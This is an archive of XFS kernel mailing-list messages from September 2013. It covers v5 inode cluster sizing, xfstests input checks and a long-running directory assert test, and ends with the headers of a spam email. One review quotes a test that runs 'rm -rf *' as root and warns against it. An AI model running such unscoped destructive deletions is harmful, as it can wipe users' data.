Tue, 17 Sep 2013 14:11:09 -0700 (PDT) X-ASG-Debug-ID: 1379452266-04bdf02f211158f60001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id b9psFHYgXL8Y71lY for ; Tue, 17 Sep 2013 14:11:07 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhASAITEOFJ5Lapl/2dsb2JhbABAGoMHOK0vAzuOTIVDgR4XdIIlAQEEATocHgUQCAMYCSUPBSUDIRMJC4dpBQ02uhMWj1EHhB4Dl3qRdYM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Sep 2013 06:41:06 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM2Y3-0008Ev-To; Wed, 18 Sep 2013 07:11:03 +1000 Date: Wed, 18 Sep 2013 07:11:03 +1000 From: Dave Chinner To: Eric Sandeen Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130917211103.GI19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> <20130911162159.GA29319@infradead.org> <20130917010449.GH19103@dastard> <52386B37.4060108@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52386B37.4060108@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379452266 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 09:46:15AM -0500, Eric Sandeen wrote: > On 9/16/13 8:04 PM, Dave Chinner wrote: > > On Wed, Sep 11, 2013 at 09:21:59AM -0700, Christoph Hellwig wrote: > >> On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: > >>> The test matrix of having to test everything on v4 and v5 is just > >>> nasty, especially if we are talking about prototyping code. I'd much > >>> prefer to bring things to v5 filesytsems where we have much lower > >>> exposure and risk of corruption problems, and then when we know it's > >>> solid because of the QA we've done on it, then we can expose the > >>> majority of the XFS userbase to it by bringing it back to v4 > >>> filesystems. > >> > >> I think the test matrix is a reason for not enabling this only on v5 > >> filesystems. > > > > You're assuming that someone is doing lots of QA on v4 filesystems. > > Most of my attention is focussed on v5 filesystems and compared to > > the amount of v5 QA I'm doing, there is very little v4 QA. All my > > development and prototyping is being done on v5 filesystems, and the > > code I post indicates that. > > Red Hat QE is doing quite a lot of testing of V4 at this point, although > not on totally bleeding-edge kernels. Right, there is QE being done, but not by developers writing new features.... > > I'm hearing is people shouting at me for not bringing new features > > to v4 filesystems. Indeed, my reasons and plans to bring the > > features to v4 in the near future are being completely ignored to > > the point of recklessness... > > That sounds perfectly reasonable to me; from your original RFC > it wasn't clear to me that that was the plan (stage it & roll it out > for V4 later). You should assume this to be true for anything I do on v5 filesystems. If something can't be brought back to v4 filesystems, then I'll make sure that everyone knows that. However, even if something is possible, that doesn't mean it is a good idea. There'll be plenty of new features coming through in the not-to-distant future, and I'm seriously questioning the wisdom of expecting everything to be made optional on v4 filesystems due to the test matrix explosion. If it can be done in such a way that doesn't explode the test matrix, then it's les sof an issue Hence it may be worthwhile waiting on v4 and batching mutliple features under a single feature bit (e.g. free inode btree, partial inode chunk allocation and larger inode clusters all enabled by a single v4 feature bit) once all the features are landed in v5 and are stable. But a 1:1 mapping of features to mkfs options is simply going to lead to problems due to insufficient QA coverage.... > >> Large inodes are an old and supported use case, although > >> probably not as heavily tested as it should. By introducing two > >> different large inode cases we don't really help increasing test > >> coverage for a code path that is the same for v4 and v5. > > > > I think you've got it wrong - 512 byte inodes have not been > > regularly or heavily tested until we introduced v5 filesystems. > > Gluster users have been advised to use 512-byte inodes for quite > some time, actually. > (http://www.gluster.org/community/documentation/index.php/QuickStart) > > So there is some real-world coverage, and presumably QE as well. Right, but that is not testing code being developed and merged into upstream dev trees and -rc kernels. i.e. it is upstream, bleeding edge test coverage that I'm worried about, not on the kernels that downstream products ship with... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Tue Sep 17 16:11:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E8DE7F63 for ; Tue, 17 Sep 2013 16:11:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F28B730404E for ; Tue, 17 Sep 2013 14:11:19 -0700 (PDT) X-ASG-Debug-ID: 1379452278-04bdf02f231158fb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NItHHRpuKtdBYPc1; Tue, 17 Sep 2013 14:11:18 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8HLBIUT031447 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 17 Sep 2013 17:11:18 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8HLBHWr004372 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 17 Sep 2013 17:11:17 -0400 Message-ID: <5238C575.4000900@redhat.com> Date: Tue, 17 Sep 2013 16:11:17 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs-oss Subject: Re: [PATCH] xfstests: check for valid input to _scratch_mkfs_sized References: <5238ADE1.5050204@redhat.com> <5238BE63.8000405@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: check for valid input to _scratch_mkfs_sized In-Reply-To: <5238BE63.8000405@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379452278 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/17/13 3:41 PM, Mark Tinguely wrote: > On 09/17/13 14:30, Eric Sandeen wrote: >> _scratch_mkfs_sized requires an integer number of bytes >> as input; if it's given something else, catch it and _notrun. >> >> Signed-off-by: Eric Sandeen >> --- > > Ah, the "don't do what Mark did" patch. the "make life easier for future Marks" patch. ;) > Reviewed-by: Mark Tinguely Thanks! From david@fromorbit.com Tue Sep 17 16:25:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 053DA7F61 for ; Tue, 17 Sep 2013 16:25:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D61F7304048 for ; Tue, 17 Sep 2013 14:25:28 -0700 (PDT) X-ASG-Debug-ID: 1379453126-04bdf02f221159bc0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 2JcN2OzAIbUGPIzW for ; Tue, 17 Sep 2013 14:25:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag4SAH7IOFJ5Lapl/2dsb2JhbABagwc4rS8DO45MhUOBHhd0giUBAQU6HCMQCAMYCSUPBSUDIROIAg26QhaMfoJTB4QeA5d6kXWDNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Sep 2013 06:55:04 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM2la-0008Gt-LA; Wed, 18 Sep 2013 07:25:02 +1000 Date: Wed, 18 Sep 2013 07:25:02 +1000 From: Dave Chinner To: Mark Tinguely Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130917212502.GJ19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> <20130911162159.GA29319@infradead.org> <20130917010449.GH19103@dastard> <52385E4D.4040007@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52385E4D.4040007@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379453126 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 08:51:09AM -0500, Mark Tinguely wrote: > On 09/16/13 20:04, Dave Chinner wrote: > >On Wed, Sep 11, 2013 at 09:21:59AM -0700, Christoph Hellwig wrote: > >>On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: > >>>The test matrix of having to test everything on v4 and v5 is just > >>>nasty, especially if we are talking about prototyping code. I'd much > >>>prefer to bring things to v5 filesytsems where we have much lower > >>>exposure and risk of corruption problems, and then when we know it's > >>>solid because of the QA we've done on it, then we can expose the > >>>majority of the XFS userbase to it by bringing it back to v4 > >>>filesystems. > >> > >>I think the test matrix is a reason for not enabling this only on v5 > >>filesystems. .... > We are *not* screaming for this on v4. Not screaming for this to be > mandatory on v5. > > It will make inode allocation more difficult as the drive fragments. Yes. But we have a plan to solve that: http://oss.sgi.com/archives/xfs/2013-08/msg00346.html And this work follows directly after Brian's free inode btree patches. i.e. you need to consider this patch in the context of the architectural modifications to inode allocation that have been posted for discussion, not as an isolated, random change. As I've mentioned in the past, I publish design documentation so that everyone knows what goals we're working towards and the steps being taking to get there. This is just a small piece in that puzzle. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 17 16:29:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1AF8A7F4E for ; Tue, 17 Sep 2013 16:29:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id ECC0E30405F for ; Tue, 17 Sep 2013 14:29:21 -0700 (PDT) X-ASG-Debug-ID: 1379453359-04bdf02f221159f90001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Cdh6phk3m5p0eeo6 for ; Tue, 17 Sep 2013 14:29:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnsGAH7IOFJ5Lapl/2dsb2JhbABagwe8cYVDgR4XdIIlAQEFOhwjEAgDGAklDwUlAyETiAK6TxaPUQeEHgOXepF1gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Sep 2013 06:59:19 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM2ph-0008H5-Ui; Wed, 18 Sep 2013 07:29:17 +1000 Date: Wed, 18 Sep 2013 07:29:17 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test Message-ID: <20130917212917.GK19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130917145959.333796933@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379453359 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 09:59:47AM -0500, Mark Tinguely wrote: > +# Fill the filesystem. > +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" > +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 > + > +cd $SCRATCH_MNT >> $seqres.full 2>&1 > +sync > +# A debug XFS may assert in the remove due to a directory bug. > +rm -rf * Wouldn't this be better: sync rm -rf $SCRATCH_MNT/* Remember, xfstests runs as root and so having a "rm -rf *" anywhere in a test is a disaster just waiting to happen.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 17 16:34:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 388A07F4E for ; Tue, 17 Sep 2013 16:34:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 147F3304048 for ; Tue, 17 Sep 2013 14:34:14 -0700 (PDT) X-ASG-Debug-ID: 1379453652-04bdf053871ebb40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id LMmqYXDdGIj9cObX for ; Tue, 17 Sep 2013 14:34:12 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnsGAKrJOFJ5Lapl/2dsb2JhbABagwe8cYVDgR4XdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gCuk4Wj1EHhB4Dl3qRdYM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Sep 2013 07:04:11 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM2uQ-0008IH-1r; Wed, 18 Sep 2013 07:34:10 +1000 Date: Wed, 18 Sep 2013 07:34:10 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test Message-ID: <20130917213409.GL19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130917192538.230164044@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379453652 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 02:25:23PM -0500, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. > > Signed-off-by: Mark Tinguely > --- > v1->v2: > remove clean up. > remove $seqres.full before test. > remove scratch mount. > 11g -> calculate 11g bytes. > check for failing mkfs and mount. > add a safer removal of the scratch files. > > put into auto group and "long" group so people can opt out: > this test almost an hour on my test box. 45m is too long for the auto group. The entire auto group runs in 50-55 minutes on my test VMs, so doubling that for one test is not really a good idea. The usual rule of thumb for the auto group is that the test should take less than 5 minutes to run. For the quick group, it should take less than 30-60s to run. If you want to make this test run in the auto group, scale it for stress tests via the use of LOAD_FACTOR and TIME_FACTOR, and add it to the stress group. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Tue Sep 17 16:35:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F6617F4E for ; Tue, 17 Sep 2013 16:35:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7C6BC8F8078 for ; Tue, 17 Sep 2013 14:35:48 -0700 (PDT) X-ASG-Debug-ID: 1379453747-04cbb02c3e1113510001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id g44drDRtpfK9TzUI for ; Tue, 17 Sep 2013 14:35:47 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 27EB165AE669; Tue, 17 Sep 2013 16:35:47 -0500 (CDT) Message-ID: <5238CB32.2090404@sandeen.net> Date: Tue, 17 Sep 2013 16:35:46 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Mark Tinguely , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> <20130917213409.GL19103@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test In-Reply-To: <20130917213409.GL19103@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379453747 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/17/13 4:34 PM, Dave Chinner wrote: > On Tue, Sep 17, 2013 at 02:25:23PM -0500, Mark Tinguely wrote: >> This tests triggers an assert in the XFS directory unbalance code. >> This test originally written by Brian Foster and suggestions >> from Micheal Semon. >> >> Signed-off-by: Mark Tinguely >> --- >> v1->v2: >> remove clean up. >> remove $seqres.full before test. >> remove scratch mount. >> 11g -> calculate 11g bytes. >> check for failing mkfs and mount. >> add a safer removal of the scratch files. >> >> put into auto group and "long" group so people can opt out: >> this test almost an hour on my test box. > > 45m is too long for the auto group. The entire auto group runs in > 50-55 minutes on my test VMs, so doubling that for one test is not > really a good idea. Ok, sorry, my fault. Fix on commit? -Eric > The usual rule of thumb for the auto group is that the test should > take less than 5 minutes to run. For the quick group, it should take > less than 30-60s to run. > > If you want to make this test run in the auto group, scale it for > stress tests via the use of LOAD_FACTOR and TIME_FACTOR, and add it > to the stress group. > > Cheers, > > Dave. > From tinguely@sgi.com Tue Sep 17 17:14:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5A94A7F50 for ; Tue, 17 Sep 2013 17:14:23 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12A06304059; Tue, 17 Sep 2013 15:14:19 -0700 (PDT) Message-ID: <5238D43B.5010808@sgi.com> Date: Tue, 17 Sep 2013 17:14:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> <20130917213409.GL19103@dastard> <5238CB32.2090404@sandeen.net> In-Reply-To: <5238CB32.2090404@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 16:35, Eric Sandeen wrote: > On 9/17/13 4:34 PM, Dave Chinner wrote: >> On Tue, Sep 17, 2013 at 02:25:23PM -0500, Mark Tinguely wrote: >>> This tests triggers an assert in the XFS directory unbalance code. >>> This test originally written by Brian Foster and suggestions >>> from Micheal Semon. >>> >>> Signed-off-by: Mark Tinguely >>> --- >>> v1->v2: >>> remove clean up. >>> remove $seqres.full before test. >>> remove scratch mount. >>> 11g -> calculate 11g bytes. >>> check for failing mkfs and mount. >>> add a safer removal of the scratch files. >>> >>> put into auto group and "long" group so people can opt out: >>> this test almost an hour on my test box. >> >> 45m is too long for the auto group. The entire auto group runs in >> 50-55 minutes on my test VMs, so doubling that for one test is not >> really a good idea. > > Ok, sorry, my fault. Fix on commit? > > -Eric We can't remove much more and still hit the assert, so I am happy to remove it from the auto group. --Mark. From info@autogas-gubin.com Tue Sep 17 17:34:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D5AA7F52 for ; Tue, 17 Sep 2013 17:34:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC47DAC003 for ; Tue, 17 Sep 2013 15:33:56 -0700 (PDT) X-ASG-Debug-ID: 1379457232-04cbb02c3c11162b0001-NocioJ Received: from mail-ee0-f54.google.com (mail-ee0-f54.google.com [74.125.83.54]) by cuda.sgi.com with ESMTP id nmqXJBWuK3AGp3tT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Sep 2013 15:33:53 -0700 (PDT) X-Barracuda-Envelope-From: info@autogas-gubin.com X-Barracuda-Apparent-Source-IP: 74.125.83.54 Received: by mail-ee0-f54.google.com with SMTP id e53so3072938eek.13 for ; Tue, 17 Sep 2013 15:33:52 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:reply-to:from:to:subject:date :mime-version:content-type; bh=wovO9n60U5tWZCkRa67VH0H8ULSbEGh2ukOoBZB5ho0=; b=mEpKL9auY2RBpjG5xtyPpQRVMGMxBsSuda8T/e11KA06aFKG7DhyLR9l13R6ulxopl a12waUnM+9EARUVP5uOiDj7bB98KdfTQeUNcId/N0tlLQgi/T7WGxddBRzGDz+LIullI 31YUVQOACUPMmciyncTLPBuOe63Y0oCj8diz7e3vhFMHkFVZf1dZA2Fcx96nivKsA4Xb wf7+NzWiam+RtBD6a7K/8sJDYLlHNUOvUoRdWebYcXbOX3NqIdLinBswJPdA2ECA2E7w Yq0q2reatyw6DiXQxxJfVJZAkoeT+o4AknMV9S4Ncg96p7StIuXhBSNqxlcU37N4qn0e TMgw== X-Gm-Message-State: ALoCoQnBBRd8HOf5fj26QA8YYU4z97BlZjWfb0K1h5B9F/a9x/0giTW76mszRbv/txwqDbtSqh6J X-Received: by 10.14.122.132 with SMTP id t4mr54907764eeh.20.1379457232279; Tue, 17 Sep 2013 15:33:52 -0700 (PDT) Received: from Unknown ([221.234.24.46]) by mx.google.com with ESMTPSA id m54sm54845448eex.2.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 17 Sep 2013 15:33:51 -0700 (PDT) Message-ID: <32356C0BFB13439CBB2D3732A83B3B71@tnzqehw> Reply-To: =?windows-1251?B?1MXExdDAy9zNwN8gys7N0tDAytLNwN8g0cjR?= =?windows-1251?B?0sXMwA==?= From: "=?windows-1251?B?1MXExdDAy9zNwN8gys7N0tDAytLNwN8g0cjR?==?windows-1251?B?0sXMwA==?=" To: , <999diuim@neva.spb.ru>, , , Subject: =?windows-1251?B?1OXk5fDg6/zt++kg5+Dq7u0g7iDq7u3y8ODq?= =?windows-1251?B?8u3u6SDx6PHy5ezl?= Date: Wed, 18 Sep 2013 00:33:46 +0200 X-ASG-Orig-Subj: =?windows-1251?B?1OXk5fDg6/zt++kg5+Dq7u0g7iDq7u3y8ODq?= =?windows-1251?B?8u3u6SDx6PHy5ezl?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0BD5_01CEB406.BC5B5A30" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: mail-ee0-f54.google.com[74.125.83.54] X-Barracuda-Start-Time: 1379457233 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 